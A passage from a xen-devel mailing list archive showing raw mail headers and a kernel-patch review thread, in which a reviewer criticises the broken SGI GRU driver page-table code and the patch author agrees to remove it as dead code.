cHJvY2Vzc29yIHRhYmxlLg0KPiA+ICAtIFZlcmlmeSB0aGUgdmFsaWRpdHkgb2YgZW50cmllcyB3
aGVuIGluZGV4aW5nIGludG8gdGhlIG1hcF9jcHVfYWNwaWlkIHRhYmxlLg0KPiA+ICAtIENvZGlu
ZyBzdHlsZSBhZGp1c3RtZW50cyAoZm9sbG93aW5nIFhlbiBzdGFuZGFyZHMpOg0KPiA+ICAgICog
UGxhY2UgbG9naWNhbCBvcGVyYXRv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2hpLg0K


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 17:04:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 17:04:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376472.1623192 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7hp-0007XC-Lg; Wed, 29 Jul 2026 17:04:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376472.1623192; Wed, 29 Jul 2026 17:04:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp7hp-0007X5-I6; Wed, 29 Jul 2026 17:04:33 +0000
Received: by outflank-mailman (input) for mailman id 1376472;
 Wed, 29 Jul 2026 17:04:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wp7hn-0007Wg-H7
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 17:04:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp7hm-008cFe-NS
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 19:04:30 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6a3296-5cb7-0a2a0a5109dd-0a2a450ad3e2-18
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 19:04:30 +0200
Received: from [52.101.72.9]
 (helo=AM0PR02CU008.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6a329d-f2d2-0a2a450a0019-34654809b8d2-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 19:04:29 +0200
Received: from DU7PR01CA0023.eurprd01.prod.exchangelabs.com
 (2603:10a6:10:50f::20) by DU4PR08MB11101.eurprd08.prod.outlook.com
 (2603:10a6:10:576::16) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 17:04:26 +0000
Received: from DU6PEPF0000A7E1.eurprd02.prod.outlook.com
 (2603:10a6:10:50f:cafe::36) by DU7PR01CA0023.outlook.office365.com
 (2603:10a6:10:50f::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 17:04:26 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DU6PEPF0000A7E1.mail.protection.outlook.com (10.167.8.40) with Microsoft SMTP
 Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5 via
 Frontend Transport; Wed, 29 Jul 2026 17:04:26 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by FRRPR08MB11966.eurprd08.prod.outlook.com (2603:10a6:d10:1d0::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 17:03:24 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 17:03:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=NmDnOTYzQKdlDmLOueJT/hHtzqxVh0I5we3J8aFCT9jDLn7+8+Uoz3cigQWlTpBx5HRs0yoyCS0cXNQMW50t5S+56L4G1khCVHdVW5/21N3OH4gA5AbC1RDP2llHU0XtYVqTwgutaE+qjwPxaTn10YQ7cAFR8DVcwc0tV2jQj8NfOWJwjOB6Dt3XNcy5mCdMnFfP8ugQu+zrP5xHDauzCjQKztHztHCCBU9OO8Ovcp5X6NXIWW8QafVsgo5TBMfdogfDi6fV9UIudfea6F25DIzVWXH6guGZCAzVgcwjPwWZqc9B1KxZxUXOb+xJg7rRKCatCxfQ0D9KJAgskwfU9w==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PbbUS/qk5aVVW1vC8+CkjZ6Px4apThCtOkwiM7lkMQk=;
 b=f2xFDZA3UPyvngFDD/STe3RXTpQOVspNn6JE3vNWTs8noJ4YKFe4YahPycpku7fPOHenG/nbqRyV8v81tkdRERUZWu9JsegXS4p44Wv8M4swK6BF4Mwvp3Y8sjuE6/7AoOXqie97R2VMcMYoxs7aDP40KO/uCPdvHRfff+pHJYeuY3sQyRlpya6r3Vu7k0iiX7upBpdyu93ZjCoHvi6TdUh6cFmyC6dd/b8Cu/9XqWFZlKd4uvmAqCUfVtEEn+1GGdyaredG5JwYwKkRB2FhWD5c7y3DiwQ6+YQZLmEoAh4qp6x5GxWcKGwTLFxwyaKBGJ0IGfMqLLQuKeQMRqaqRg==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=suse.de smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PbbUS/qk5aVVW1vC8+CkjZ6Px4apThCtOkwiM7lkMQk=;
 b=BncRAtb1wxWuxlYq3hw2v/M+04GjdKg+y4JuhjiTTj6i7XFl/6Jgw2fj+4b0moZKpngDIgLO6TQajpcJFf7aQKeCWM0Dyr1FxXKWsS/BxLIciiQgFsBGYHYVGXc59i+87QMOgh3eg+DLAUo73vT/abtt5OLSRIIXj/lENHQ9qeY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=xahEWMRLnwid9CUeH2xMEOsP0mG5mVIig03K9CrPeXgnE2GOpBr+kyZG+F2d35nN7dR9xvnXrP7djuCDDm0yGzzPCPLmwN9HVJRprqNsY1afrMOM76IATPc6Bx7cxzusYrxGi0huWmRQGSfB0QfwawPJIKbKFggt3SIihvOynDbEk3eLLBRhW2rqGskNlTyPWDq8w218z4dshXjQG7JrtiCZb8UUmiCp9IeCf02pp5vMYisEfl/Fqb9WAWkRqg1ftPnNj9ppDIsf9Q6yGfC8fiNJoUKPfwXfvqkzxfOvFUxsmrsXu6aIvBBVboUs/a/ltqbKrpSiLr2Tbuo+ui5Ynw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PbbUS/qk5aVVW1vC8+CkjZ6Px4apThCtOkwiM7lkMQk=;
 b=O/164cDNkIYfZ57+OU0eVLSYvhlM5ZSK1fDakvR237cxTdJV425e5h40oM0+vWNWTYYZbjS2OvWO1AwvWygrxMBzG+ve9IVN63Qhel7K8uGgreqLZI/laB970xYq/Xnv3k6qIohwLrGyn85FCaC0O5tBWx1IcDyuQtd4HwwoU0YnPOX9oqrN4gFotW/HHWygtNEzbgx7cniww0Dz6kHuixHYY1RiZxaM3z4S5QTYNUjH6fy5mvJNpJuQ6fgPcNbXpY5xk2fXVvexrXE7I9tC2S7p7aDARcljsa4nhrjA8kxpcNWfdxBXYzmwgly8WQqD4llBzx2j+05RCCurppSevQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PbbUS/qk5aVVW1vC8+CkjZ6Px4apThCtOkwiM7lkMQk=;
 b=BncRAtb1wxWuxlYq3hw2v/M+04GjdKg+y4JuhjiTTj6i7XFl/6Jgw2fj+4b0moZKpngDIgLO6TQajpcJFf7aQKeCWM0Dyr1FxXKWsS/BxLIciiQgFsBGYHYVGXc59i+87QMOgh3eg+DLAUo73vT/abtt5OLSRIIXj/lENHQ9qeY=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <e0f68f91-629a-4aa7-bad9-11ef7dafce4d@arm.com>
Date: Wed, 29 Jul 2026 18:03:19 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, agordeev@linux.ibm.com, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 09/11] misc/sgi-gru: use ptep_get() for page-table
 reads
To: Pedro Falcato <pfalcato@suse.de>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-10-usama.anjum@arm.com>
 <amnxCmFU40QQaxTx@pedro-suse.lan>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <amnxCmFU40QQaxTx@pedro-suse.lan>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P302CA0023.GBRP302.PROD.OUTLOOK.COM
 (2603:10a6:600:2c1::15) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|FRRPR08MB11966:EE_|DU6PEPF0000A7E1:EE_|DU4PR08MB11101:EE_
X-MS-Office365-Filtering-Correlation-Id: 37141c21-a2fe-40d9-70d3-08deed937228
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|366016|23010399003|376014|7416014|4143699003|10067099003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info-Original:
 DaJWhsTZTSxcIZbwinfD8XxtPw/2f++czvjbD1W4bd4XreSaU6D3188u9w9GWQdT1JXBI8k6WeoGO6ebdA1+x5ERQkgaS+IvsRPUFarLXoyLSoHZCSpfHIwd8F8MDWoNeQ1ES6E/mzkjlk9uqRqSUEnOeLxSkLZi6rsNJwpm6ua931PyYrgJVmT6wev4vTkMgr6syRqwCjlvl016KdBkPiyWoyKxZXNeor7nen405U+6SC5mEjJpEHoT80H3kzt3gxPjjZbNpd4hPE5DyqouQQ/VsqiaVT4B5FfF36BO841Sp/Xl1P8QhSFShghy3xRKonzeQ6A/ywt8H9Xc7keLkphSLfy4PtFSq3IQ9cNDuKln6Hvy3wazEyx/gr/sfCYkTZxE2WgTQ2sOWSeZfWA0h0Bs//n0R4D2bofUttfS5x1z/oSEZO66wztXTfYvOjSF4x+5WgQMtt44LAKW9yT0uqPjlfJb31GONqzqwi6bX+GqpqX9cYgrlXmoVI+N1K5HndLAeojNGxA1aOc+48bNI+LQ644ttsRtlgno3Kz2zTeOy2B2aSZkC+ecrjfht61nUE2Ky3+IWsStwYWvifvhWPtHsv2iZXgW/f3/PHUR8FXVam5L1/5xsQl5FIGgf0hMGGNYQ2A4WaTk1Pb40YB1BVCnjNZIvY4oAW6YwLT8GW4=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:VI1PR08MB3421.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(23010399003)(376014)(7416014)(4143699003)(10067099003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-Exchange-RoutingPolicyChecked:
 ZiugpGqFJussUsX96Dr0qNIxsdKxjJBS2tE8DuDcDfFRexZmwdjfLQBMcHCaqX8OW1QUx7kPU5UoDm0xLd+5To+L1Lwby9UJzIjM7tj6tA5Gw+zuycwLiOY/6k46sQqIznBHfE1A0FGGTlp4WsiYDINkUezqpj2bXuRimKRIR8fvUQKmBSt1LLeBmJQ2za0zrmj0rciHYG5LhQEQzEyqn2YhvwKI5abL5D/+qqH+vCRW9DPPMD/dKpxd8el7hfi9uzaC51A5QUOe3GYui2sBAzf/m04Y5tcPJZU+DTlZbZmqZ/j2M/F5BLeLb4tlW6TNh/xL4+oFjqd9nq4+N9gbjg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: FRRPR08MB11966
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 DU6PEPF0000A7E1.eurprd02.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	e588c869-dbac-40f5-682d-08deed934bdf
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|35042699022|14060799003|7416014|376014|23010399003|82310400026|36860700016|10067099003|4143699003|11063799006|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	HZfv24VYe2JXYJAVJ8cbRwULxYvRmalqgSIXDe+knxEVlgHAPn9PPAf7kwpuL2ydxaiYsToXHlAkBS0LLuUKzr6nueoTKcHRPlCscEzoHwtnrm4ZNVHtjxcwYzGoB6WAVI4gTES5V6J9EmIBlLY8NSIIYlR8LmBLgDduZZojsn+7VGMv7irEFiSoEgoIAhiOGx5pJrJIxWMbpEsQoep7yRtrOVB9UJg5KewP/dARA0RQGrt0A0kuGvyrcTGbBDC83rHvkS5JNzq+Jh1T8z3Gnhkw8OBdxHzf06nkf73xC1WRYuetSD4Udb4jIKKNhY3KOh8F7iVmr9ateNzuV50BamA/dLDrabuDQvoZyLW4tgArGvIEj3wdiHMvJspE45X9YANv0OxzY6PSOipCQuXD4P3Qn+u79XXXVBP11nQYW4IO5mvrftVB5S4tKrUbL7U7vzxw8w3umcj58TMkUsPeihGI1QKx+laLMHAa/Rwne4jdaktvund2DCX129NZoR3GCYwuC0waE384Cdv1hdOJ6hcZ8QG5n/r98HfJH0AyUtF4cfDzPNAsT09pGrBHIuawEEhqXQ60Oq/8yzx1Ct7mWTUqwfnvM9qo1upZXE0DB3U+ZiABJdnAWT8TdsY2JJd/QnUo8SJQDgaGtdLRRT4HWxxHDS9jzq7ugfLO2LwIS66DeqnLIHFjboOHcRlllKB148X/q0MFK/9a6Ce3Nsb8hQ==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(35042699022)(14060799003)(7416014)(376014)(23010399003)(82310400026)(36860700016)(10067099003)(4143699003)(11063799006)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	rVI+erN+tDK1bV2DaYVwEmRJDr4VXLVJC5i79Kwb6sY1tPpWPXDqyUvP/xGW2XsYbrI+7Wwi2BotLdlKPoK9b3n/U3Xl2foE2DFyjt+FCP46rO0Amkyn6h47Sgz2sqnuHI9loq0WbH19gPc+hxNxudzSfRRHOUW6vYyByqqbsq61kJzPy1RIjrjh8haoNQr5uUiQDCN518XDGA85hrv+CaQkKIj5ON3Q/fosJjMkX4lA5OU6W2iHLJUjz7wGYwts8jKk8vVybK+CL9aPF2+mNnzVXByXoH8iSxQIR6UShOdPnVt8EAtAyhS4LbxwtwTMnJNVVJO8nLEOf1Cz0eeIlyRjIO6c33byzt2IWrDNksjzAFpYRANtjC9ItlXIYppOcCXRWmciPDCiIDth7BHg5Vafj95ym4Z+Bs5+vT7lY8fwr4K4ZhzRH7o9McHNO91R
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 17:04:26.3745
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 37141c21-a2fe-40d9-70d3-08deed937228
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DU6PEPF0000A7E1.eurprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU4PR08MB11101
X-purgate-ID: tlsNG-4011c0/1785344669-4ABD8CFC-C343A9B5/0/0
X-purgate-type: clean
X-purgate-size: 1819

On 29/07/2026 1:36 pm, Pedro Falcato wrote:
> On Mon, Jul 27, 2026 at 05:47:00PM +0100, Muhammad Usama Anjum wrote:
>> A leaf PMD is being read through ptep_get() by treating the PMD address
>> as PTE-sized table storage. ptep_get() now accepts hw_pte_t *, so update
>> the cast accordingly.
>>
>> pte_offset_kernel() also returns hw_pte_t *. Get pte_t value by calling
>> ptep_get().
>>
>> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
>> ---
>>  drivers/misc/sgi-gru/grufault.c | 4 ++--
>>  1 file changed, 2 insertions(+), 2 deletions(-)
>>
>> diff --git a/drivers/misc/sgi-gru/grufault.c b/drivers/misc/sgi-gru/grufault.c
>> index 3557d78ee47a2..ff89d34ad2aa4 100644
>> --- a/drivers/misc/sgi-gru/grufault.c
>> +++ b/drivers/misc/sgi-gru/grufault.c
>> @@ -228,10 +228,10 @@ static int atomic_pte_lookup(struct vm_area_struct *vma, unsigned long vaddr,
>>  		goto err;
>>  #ifdef CONFIG_X86_64
>>  	if (unlikely(pmd_leaf(*pmdp)))
>> -		pte = ptep_get((pte_t *)pmdp);
>> +		pte = ptep_get((hw_pte_t *)pmdp);
>>  	else
>>  #endif
>> -		pte = *pte_offset_kernel(pmdp, vaddr);
>> +		pte = ptep_get(pte_offset_kernel(pmdp, vaddr));
>>  
>>  	if (unlikely(!pte_present(pte) ||
>>  		     (write && (!pte_write(pte) || !pte_dirty(pte)))))
> 
> This code is super, super broken. Can we remove this ASAP? For starters,
> we're using is_vm_hugetlb_page() to detect page shift, the code does not
> grab refs on the pages, uses pte_offset_kernel() on user page tables,
> does not handle PUD-level hugepages, does not handle PMD-level hugepages on !x86_64,
> does not hold page table locks nor check for pte table retraction, etc
> 
> I don't think I need to go on.
This and parisc both have dead code. I'll send separate patches to remove
dead code.

-- 
Thanks,
Usama



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 17:47:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 17:47:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376528.1623208 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp8Ng-000645-RD; Wed, 29 Jul 2026 17:47:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376528.1623208; Wed, 29 Jul 2026 17:47:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp8Ng-00063y-OF; Wed, 29 Jul 2026 17:47:48 +0000
Received: by outflank-mailman (input) for mailman id 1376528;
 Wed, 29 Jul 2026 17:47:46 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wp8Nd-00063q-5N
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 17:47:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp8Nc-000wuL-IN
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 19:47:44 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6a3ca3-e002-0a2a0a5209dd-0a2a4503edbc-10
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 19:47:44 +0200
Received: from [52.101.125.133]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6a3cbd-fae8-0a2a45030019-34657d8569ab-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 19:47:43 +0200
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:363::12)
 by OS7P286MB8085.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:4c0::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.13; Wed, 29 Jul
 2026 17:47:38 +0000
Received: from TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f]) by TY7P286MB7234.JPNP286.PROD.OUTLOOK.COM
 ([fe80::9caa:1ff:d16c:e15f%3]) with mapi id 15.21.0270.012; Wed, 29 Jul 2026
 17:47:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=rNINvfTuqy31CPS2l+oKCnEPmxyyod8AQKNsBD/hH0rzvP/LuSqzcG7gMZg/FgcqghRyNUXqdKE/qklg/iFbWcBfT3CJRoxt4D4eZ1guGPPfD4lipOqnmZzQm2eBGL4whuYRSP/quTv+15YiWl0FA5GOQCBtrdSBu4CwVM+TP27Jx6PEhm4j/ct9MEpLtr8/bO7CF8nqfWwL4lJZONBnYMfIpxLjXUiPgc4UTfhae3QcS0405poY4F4a38ZTgyoFlthfWyANbHAZ/5U9uRFNf2JIF1+0hnEkKyzjs0u14plllt5GeBcd1mGAPBHmADB+aQbqAsTjULx+qyBL2xk1dw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=iaqtcshLVbhaD1dcz/UCxo6ZgW22nISirEcg/cTrN4M=;
